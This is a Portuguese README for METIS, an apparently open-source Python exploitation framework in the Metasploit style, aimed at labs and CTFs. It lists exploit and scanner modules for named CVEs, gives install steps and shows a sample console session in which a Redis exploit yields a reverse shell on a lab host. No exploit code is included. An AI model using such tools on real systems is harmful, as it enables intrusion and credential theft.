Framework modular de exploração em Python com um console no estilo Metasploit, módulos Exploit e Auxiliary com registro automático, verificações de três estados e múltiplos transportes de sessão para alvos de laboratório e CTF.
███╗ ███╗███████╗████████╗██╗███████╗
████╗ ████║██╔════╝╚══██╔══╝██║██╔════╝
██╔████╔██║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║███████╗ ██║ ██║███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝
Um framework de exploração em Python criado para aprendizado. Arquitetura modular, console temático, múltiplos transportes de sessão e uma biblioteca crescente de módulos CVE.
METIS é um framework de pesquisa de segurança orientado pela comunidade. O objetivo é construir uma coleção crescente de módulos contribuídos por pesquisadores de segurança, desenvolvedores e a comunidade em geral.
Tem um scanner útil, módulo auxiliar, módulo de exploit ou outra ferramenta de pesquisa de segurança que gostaria de compartilhar? Adicione ao METIS e abra um Pull Request.
Todas as contribuições são bem-vindas, desde que sigam a estrutura de módulos do projeto, os padrões de código e as diretrizes de uso autorizado.
Seja adicionando um novo módulo CVE, melhorando um módulo existente, corrigindo um bug ou construindo nova funcionalidade do framework, suas contribuições podem ajudar a tornar o METIS melhor para todos.
Veja Writing modules abaixo para informações sobre como criar seu próprio módulo.
METIS é um framework modular de C2/exploração escrito em Python. Ele executa um console interativo no estilo Metasploit, onde você seleciona módulos, define opções, executa verificações e obtém sessões contra alvos de laboratório.
Ele foi projetado para:
Ele não foi projetado para:
.py em modules/ e ele se registra automaticamenteExploit (gera sessões) e Auxiliary (scanners, enumeradores)check() tri-estado — todo módulo pode verificar antes de atacar (VULNERABLE / SAFE / UNKNOWN)file: com barras de progresso ao vivoKEY=VALUE| Module | Description |
|---|---|
auxiliary/scanner/tcp_connect | Scanner de portas TCP com threads |
auxiliary/scanner/hikvision_cve_2017_7921 | Bypass de autenticação + enumeração de usuários em câmera IP Hikvision |
auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 | Vazamento de credenciais do MikroTik WinBox |
auxiliary/scanner/redis_cve_2022_0543 | Detector de escape do sandbox Lua do Redis |
| Module | Session type |
|---|---|
exploit/unix/ftp/vsftpd_234_backdoor | Socket bind |
exploit/multi/http/ghost_cms_handlebars_rce | Socket reverso |
exploit/multi/http/langflow_rce_cve_2026_9198 | Socket reverso |
exploit/multi/http/budibase_plugin_upload_rce_cve_2026_31816 | Socket reverso |
exploit/multi/http/activemq_jolokia_rce_cve_2026_34197 | Socket reverso |
exploit/multi/http/tomcat_put_rce_cve_2017_12615 | Socket reverso |
exploit/multi/http/joomla_jce_rce_cve_2026_48907 | Webshell HTTP |
exploit/linux/http/freepbx_sqli_rce_cve_2025_57819 | Reverso atrasado (cron) |
exploit/linux/redis/redis_cve_2022_0543_rce | Socket reverso |
exploit/linux/ssh/libssh_auth_bypass_cve_2018_10933 | Canal Paramiko |
exploit/linux/telnet/inetutils_telnetd_bypass_cve_2026_24061 | Socket telnet bruto |
Requer Python 3.10+ e git.
git clone https://github.com/K3ysTr0K3R/METIS.git
cd METIS
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
pwntools>=4.11.0
requests>=2.31.0
paramiko>=3.0.0
redis>=5.0.0
cryptography>=42.0.0
rich>=13.7.0
prompt_toolkit>=3.0.43
Executar:
python3 metis.py
metis > show modules
# Module Date Rank Chk Description
-- ------------------------------------------------------------ ---------- --------- --- -----------
1 auxiliary/scanner/hikvision_cve_2017_7921 2017-09-23 normal Yes Hikvision IP Camera Authentication Bypass (CVE-2017-7921)
2 auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 2018-08-01 great Yes MikroTik WinBox Credential Leak (CVE-2018-14847)
...
15 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes vsftpd 2.3.4 Backdoor Command Execution
metis > search redis
# Module Date Rank Chk Description
-- ------ ---- ---- --- -----------
1 auxiliary/scanner/redis_cve_2022_0543 2022-02-18 excellent Yes Redis CVE-2022-0543 Scanner
2 exploit/linux/redis/redis_cve_2022_0543_rce 2022-02-18 excellent Yes Redis CVE-2022-0543 Lua Sandbox Escape RCE
metis > use 2
[*] using exploit/linux/redis/redis_cve_2022_0543_rce
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set RHOST 192.168.56.101
[+] RHOST => 192.168.56.101
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set LHOST 192.168.56.1
[+] LHOST => 192.168.56.1
metis exploit(linux/redis/redis_cve_2022_0543_rce) > check
[*] check: probing 192.168.56.101:6379
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[*] check -> vulnerable
metis exploit(linux/redis/redis_cve_2022_0543_rce) > exploit
[*] running check() before exploit (AUTOCHECK=true)
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[+] target appears vulnerable — proceeding
[*] listening on 192.168.56.1:4444 for reverse shell
[+] shell from 192.168.56.101:51234
[+] new session: <Session a3f2b1c4 192.168.56.101:51234>
metis exploit(linux/redis/redis_cve_2022_0543_rce) > sessions
a3f2b1c4 192.168.56.101:51234 (alive)
metis exploit(linux/redis/redis_cve_2022_0543_rce) > interact a3f2b1c4
[*] interacting with a3f2b1c4. 'background' returns, '!cmd' runs locally.
a3f2b1c4 $ id
uid=105(redis) gid=108(redis) groups=108(redis)
a3f2b1c4 $ background
metis >